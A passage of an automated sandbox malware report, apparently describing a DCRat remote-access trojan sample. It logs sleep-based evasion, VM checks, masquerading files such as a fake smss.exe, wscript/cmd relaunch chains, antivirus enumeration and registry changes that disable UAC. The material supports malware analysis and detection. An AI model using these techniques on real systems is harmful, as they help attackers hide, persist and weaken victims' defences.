Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 600000
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 599733
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 599609
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\sppsvc.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Window / User API: threadDelayed 1133	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Window / User API: threadDelayed 1305	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Window / User API: threadDelayed 499	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Window / User API: threadDelayed 352	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Window / User API: threadDelayed 381	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Window / User API: threadDelayed 369	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Window / User API: threadDelayed 367
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Window / User API: threadDelayed 366
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Window / User API: threadDelayed 367
Source: C:\Recovery\sppsvc.exe	Window / User API: threadDelayed 367
Source: C:\Recovery\sppsvc.exe	Window / User API: threadDelayed 363
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Window / User API: threadDelayed 592
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Window / User API: threadDelayed 505
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Window / User API: threadDelayed 556
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Window / User API: threadDelayed 893
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Window / User API: threadDelayed 1328
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Window / User API: threadDelayed 1140
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Window / User API: threadDelayed 1052
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Window / User API: threadDelayed 668
Source: C:\Recovery\sppsvc.exe	Window / User API: threadDelayed 395

Source: C:\Users\user\Desktop\2RM12KtuNp.exe TID: 6044	Thread sleep count: 1133 > 30	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe TID: 6044	Thread sleep count: 1305 > 30	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe TID: 180	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe TID: 6408	Thread sleep count: 499 > 30	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe TID: 6408	Thread sleep count: 176 > 30	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe TID: 360	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe TID: 1292	Thread sleep count: 352 > 30	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe TID: 1292	Thread sleep count: 381 > 30	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe TID: 1476	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe TID: 7192	Thread sleep count: 369 > 30	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe TID: 7192	Thread sleep count: 124 > 30	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe TID: 1272	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe TID: 7240	Thread sleep count: 367 > 30
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe TID: 7176	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 7388	Thread sleep count: 366 > 30
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 7248	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 7376	Thread sleep count: 367 > 30
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 7324	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 7604	Thread sleep count: 592 > 30
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 7576	Thread sleep time: -922337203685477s >= -30000s
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe TID: 7696	Thread sleep count: 505 > 30
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe TID: 7700	Thread sleep count: 556 > 30
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe TID: 7672	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 7988	Thread sleep count: 893 > 30
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 8004	Thread sleep count: 1328 > 30
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 8144	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 8144	Thread sleep time: -600000s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 8144	Thread sleep time: -599891s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 8144	Thread sleep time: -599780s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 8040	Thread sleep time: -30000s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 7968	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 5248	Thread sleep count: 1140 > 30
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 6480	Thread sleep count: 1052 > 30
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 7616	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 7616	Thread sleep time: -600000s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 7616	Thread sleep time: -599733s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 7616	Thread sleep time: -599609s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 5052	Thread sleep time: -30000s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 6556	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe TID: 7452	Thread sleep count: 349 > 30
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe TID: 2676	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 3364	Thread sleep count: 668 > 30
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 7124	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Recovery\sppsvc.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Recovery\sppsvc.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Recovery\sppsvc.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\sppsvc.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\sppsvc.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 600000
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 599891
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 599780
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 600000
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 599733
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 599609
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\sppsvc.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior

Source: 2RM12KtuNp.exe, 00000000.00000002.2121979590.000000001C13F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: smss.exe, 00000023.00000002.2382917415.000000001CE67000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: w32tm.exe, 00000016.00000002.2150330250.000001FA91847000.00000004.00000020.00020000.00000000.sdmp, smss.exe, 00000023.00000002.2383192595.000000001CE9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\2RM12KtuNp.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process token adjusted: Debug
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process token adjusted: Debug
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process token adjusted: Debug
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\2RM12KtuNp.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\LsQlNPpiOn.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"	Jump to behavior
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\df7dcee1-31d9-41cd-9118-ff1c3adb1964.vbs"
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\95f930af-8a5c-4110-bf02-41517346f671.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\b0c9a6b4-f4b7-4599-b561-a3049e581ced.vbs"
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\7e00ec7d-7c2b-46a0-b437-c1650ed4cfe9.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Queries volume information: C:\Users\user\Desktop\2RM12KtuNp.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Queries volume information: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Queries volume information: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Queries volume information: C:\Recovery\fuBYljHeUjtkgvlnN.exe VolumeInformation	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Queries volume information: C:\Recovery\fuBYljHeUjtkgvlnN.exe VolumeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Queries volume information: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe VolumeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Queries volume information: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe VolumeInformation
Source: C:\Recovery\sppsvc.exe	Queries volume information: C:\Recovery\sppsvc.exe VolumeInformation
Source: C:\Recovery\sppsvc.exe	Queries volume information: C:\Recovery\sppsvc.exe VolumeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Queries volume information: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe VolumeInformation
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Queries volume information: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe VolumeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Queries volume information: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe VolumeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Queries volume information: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe VolumeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Queries volume information: C:\Recovery\fuBYljHeUjtkgvlnN.exe VolumeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Queries volume information: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe VolumeInformation
Source: C:\Recovery\sppsvc.exe	Queries volume information: C:\Recovery\sppsvc.exe VolumeInformation

Source: C:\Users\user\Desktop\2RM12KtuNp.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable UAC(promptonsecuredesktop)

Source: C:\Users\user\Desktop\2RM12KtuNp.exe

Registry value created: PromptOnSecureDesktop 0

Jump to behavior

Disables UAC (registry)

Source: C:\Users\user\Desktop\2RM12KtuNp.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA

Jump to behavior

Source: smss.exe, 00000023.00000002.2371132187.0000000000C88000.00000004.00000020.00020000.00000000.sdmp, smss.exe, 00000023.00000002.2371642979.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 00000018.00000002.2198817700.000000000286D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2204937478.0000000002CFD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2107606474.0000000002491000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.2437817737.00000000027C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2193867907.0000000002EA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2107606474.0000000002952000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2204609661.0000000003061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2372427654.0000000002B01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2172595624.00000000029A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2198817700.0000000002831000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2272871548.0000000002E11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2522151926.0000000002D01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2204937478.0000000002CC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2172462532.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2172462532.0000000002FAD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.2499185977.0000000002B10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2112936217.000000001249D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2RM12KtuNp.exe PID: 5996, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WmiPrvSE.exe PID: 6552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WmiPrvSE.exe PID: 6976, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fuBYljHeUjtkgvlnN.exe PID: 5808, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fuBYljHeUjtkgvlnN.exe PID: 6688, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sppsvc.exe PID: 7276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sppsvc.exe PID: 7288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WmiPrvSE.exe PID: 7648, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: smss.exe PID: 8172, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fuBYljHeUjtkgvlnN.exe PID: 180, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: smss.exe PID: 360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sppsvc.exe PID: 1292, type: MEMORYSTR

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 00000018.00000002.2198817700.000000000286D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2204937478.0000000002CFD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2107606474.0000000002491000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.2437817737.00000000027C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2193867907.0000000002EA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2107606474.0000000002952000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2204609661.0000000003061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2372427654.0000000002B01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2172595624.00000000029A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2198817700.0000000002831000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2272871548.0000000002E11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2522151926.0000000002D01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2204937478.0000000002CC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2172462532.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
